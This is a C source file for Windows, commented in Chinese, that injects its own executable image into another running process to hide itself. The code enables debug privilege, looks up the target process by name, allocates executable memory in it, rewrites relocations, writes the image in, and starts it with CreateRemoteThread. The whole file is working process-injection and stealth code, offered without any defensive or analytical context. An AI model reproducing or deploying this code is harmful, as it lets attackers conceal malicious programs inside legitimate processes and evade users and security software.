#include "stdio.h" #include "windows.h" #ifdef _DEBUG #define MsgBox(lpText) MessageBox(NULL,lpText,NULL,NULL) #else #define MsgBox(lpText) #endif #define LOAD_BASE_ADDR 0x03140000 #define SIZE_OF_NT_SIGNATURE (sizeof(DWORD)) #define OPTHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER))) typedef BOOL (WINAPI* p_EnumProcesses )(DWORD * lpidProcess,DWORD cb, DWORD * cbNeeded );//定义一个函数指针 typedef BOOL (WINAPI* p_EnumProcessModules )( HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded ); typedef DWORD (WINAPI* p_GetModuleBaseName) ( HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize ); HMODULE m_module; BOOL m_bIsWinNT; //////////////////////// //获取系统版本 /////////////////////// void GetOSVersion(void) { OSVERSIONINFO osvi; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if(GetVersionEx(&osvi)==FALSE) { MsgBox("Unable to get version info GetOSVersion()"); } if(osvi.dwPlatformId==VER_PLATFORM_WIN32s) { MsgBox("This application does not run under WIN32s!"); } if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) m_bIsWinNT = 1; else m_bIsWinNT = 0; } //////////////////////// //初始化 //////////////////////// void Init() { GetOSVersion(); m_module=GetModuleHandle(NULL); } ////////////////////////////// //通过名称获取进程ID ////////////////////////////// long GetNTProcessIDbyName(char *szName) { if((!m_bIsWinNT)||(!szName)) return -1; HMODULE hModule=LoadLibrary("psapi.dll"); if(hModule==NULL) return -1; p_EnumProcesses pEnumProcesses=(p_EnumProcesses)GetProcAddress(hModule,"EnumProcesses"); p_EnumProcessModules pEnumProcessModules=(p_EnumProcessModules)GetProcAddress(hModule,"EnumProcessModules"); p_GetModuleBaseName pGetModuleBaseName=(p_GetModuleBaseName)GetProcAddress(hModule,"GetModuleBaseNameA"); DWORD aProcesses[1024], cbNeeded, cProcesses; unsigned int i; if ( !pEnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return -1; cProcesses = cbNeeded / sizeof(DWORD); for ( i = 0; i < cProcesses; i++ ) { char szProcessName[MAX_PATH] = ""; HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i] ); if ( hProcess ) { HMODULE hMod; DWORD cbNeeded; if ( pEnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) ) { pGetModuleBaseName( hProcess, hMod, szProcessName, MAX_PATH ); if(_stricmp(szName,szProcessName)==0) { CloseHandle (hProcess); return aProcesses[i]; } } CloseHandle (hProcess); } } return -1; } ///////////////////////////// //提权 ///////////////////////////// BOOL EnableDebugPriv() { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if ( ! OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { MsgBox("OPT() failed"); return FALSE; } if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ) { MsgBox("LPV() failed"); CloseHandle( hToken ); return FALSE; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) ) { MsgBox("ATP() failed"); CloseHandle( hToken ); return FALSE; } CloseHandle( hToken ); return TRUE; } ///////////////////////////////////// //锁定 ///////////////////////////////////// BOOL FixRelocationTable(char *szBuf, long lLen,unsigned long lMyBase,unsigned long lNewBase) { DWORD lAdd=lNewBase-lMyBase; IMAGE_DOS_HEADER *ppeDosHead=(IMAGE_DOS_HEADER *)szBuf;//dos head IMAGE_NT_HEADERS32 *ppeHead=(IMAGE_NT_HEADERS32 *)(szBuf+ppeDosHead->e_lfanew);//PE head ppeHead->OptionalHeader.ImageBase=lNewBase; char* p=ppeHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+szBuf; IMAGE_RELOCATION* relocblock=(IMAGE_RELOCATION*)(p); ppeHead->OptionalHeader.ImageBase=lNewBase; while(relocblock->VirtualAddress) { void* page = (void *)((UINT)szBuf + (UINT)relocblock->VirtualAddress); long count = (relocblock->SymbolTableIndex - 8)/2; for(int i=0; i<count; i++) { int n=*((WORD*)((char*)(&relocblock->Type)+i*sizeof(WORD))); int offset = n & 0xFFF; int type = n >> 12; //--------------------------- long test =(long)(char*)page+offset; test-=(long)szBuf; test+=lNewBase; char szMsg[200]; sprintf(szMsg,"point->0X%X sozeofblock %d=0x%X",test,count,count); switch(type) { case IMAGE_REL_BASED_ABSOLUTE: break; case IMAGE_REL_BASED_HIGH: *(UINT *)((UINT)page+offset) += HIWORD(lAdd); break; case IMAGE_REL_BASED_LOW: *(UINT *)((UINT)page+offset) += LOWORD(lAdd); break; case IMAGE_REL_BASED_HIGHLOW: *(UINT *)((UINT)page+offset) += lAdd; break; default: break; } } relocblock = (IMAGE_RELOCATION *)((BYTE *)relocblock + relocblock->SymbolTableIndex); } return TRUE; } ///////////////////////////////////// //隐藏进程 ///////////////////////////////////// BOOL HideProcessInNTbyID(unsigned long lProcessID,LPTHREAD_START_ROUTINE pMyMainProcess) { if(lProcessID==-1) return FALSE; if(GetCurrentProcessId()==lProcessID) return FALSE; HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lProcessID); if(hProc==NULL) return FALSE; HMODULE lnewModule=(HMODULE) LOAD_BASE_ADDR; DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(m_module))->SizeOfImage; char *pMem=NULL; int x=0; while((pMem=(char *)VirtualAllocEx(hProc,lnewModule,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE))==NULL) { lnewModule-=1024;//one page?? if(((unsigned long)lnewModule)<0x10000) return FALSE;//没有希望了 x=GetLastError(); } //pMem=(char *)VirtualAllocEx(hProc,lnewModule,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(pMem==NULL) { MsgBox("VirtualAllocEx Error,多次分配后失敗"); return FALSE; } char szMsg[200]; if((long)pMem!=LOAD_BASE_ADDR) { sprintf(szMsg,"old model=0X%X; new model=0X%X,pMem=0X%X; 多次分配后成功!",m_module,lnewModule,pMem); MsgBox(szMsg); } else { sprintf(szMsg,"old model=0X%X; new model=0X%X,pMem=0X%X; 一次分配成功!",m_module,lnewModule,pMem); MsgBox(szMsg); } if((long)pMem!=(long)lnewModule) { lnewModule=(HMODULE)pMem; MsgBox("(pMem!=lnewModule)"); } DWORD dwOldProt,dwNumBytes,i; MEMORY_BASIC_INFORMATION mbi; char* pMyExeData=new char[dwSize]; long lMyID=GetCurrentProcessId(); HANDLE hMyProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lMyID); DWORD dRead; ReadProcessMemory(hMyProc,m_module, pMyExeData,dwSize,&dRead); FixRelocationTable(pMyExeData,dwSize,(unsigned long)m_module,(unsigned long)pMem); VirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION)); while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) { if(!(mbi.Protect & PAGE_GUARD)) { for(i=0;i<mbi.RegionSize;i+=0x1000) { VirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt); WriteProcessMemory(hProc,pMem+i,pMyExeData+i,0x1000,&dwNumBytes); } } pMem+=mbi.RegionSize; VirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION)); } VirtualFreeEx( hProc, pMem, dwSize, MEM_DECOMMIT ); DWORD dwRmtThdID; long l=(char*)lnewModule-(char*)m_module; HANDLE hRmtThd=CreateRemoteThread(hProc,NULL,0, (LPTHREAD_START_ROUTINE)((long)pMyMainProcess+(long)l), (LPVOID)lnewModule,0,&dwRmtThdID); if(hRmtThd==NULL) { MsgBox("Could create remote thread error!"); return FALSE; } CloseHandle(hProc); return TRUE; } //隐藏 BOOL HideProcessInNT(char *szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess) { unsigned long lProcessID=GetNTProcessIDbyName(szRemoteProcess); return HideProcessInNTbyID(lProcessID,pMyMainProcess); } BOOL HideProcessIn(char *szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess) { EnableDebugPriv(); if(m_bIsWinNT) { return HideProcessInNT(szRemoteProcess,pMyMainProcess); } return TRUE; } DWORD WINAPI MyNtRemoteThreadMain(LPVOID lpParameter) { MsgBox("进程隐藏成功"); return 0; } int main() { Init(); char* szRemoteProcess=new char[20]; printf("输入要绑定的进程名:"); scanf("%s",szRemoteProcess); if(HideProcessIn(szRemoteProcess,MyNtRemoteThreadMain)) { MsgBox("ok"); } else { MsgBox("error"); } return 0; }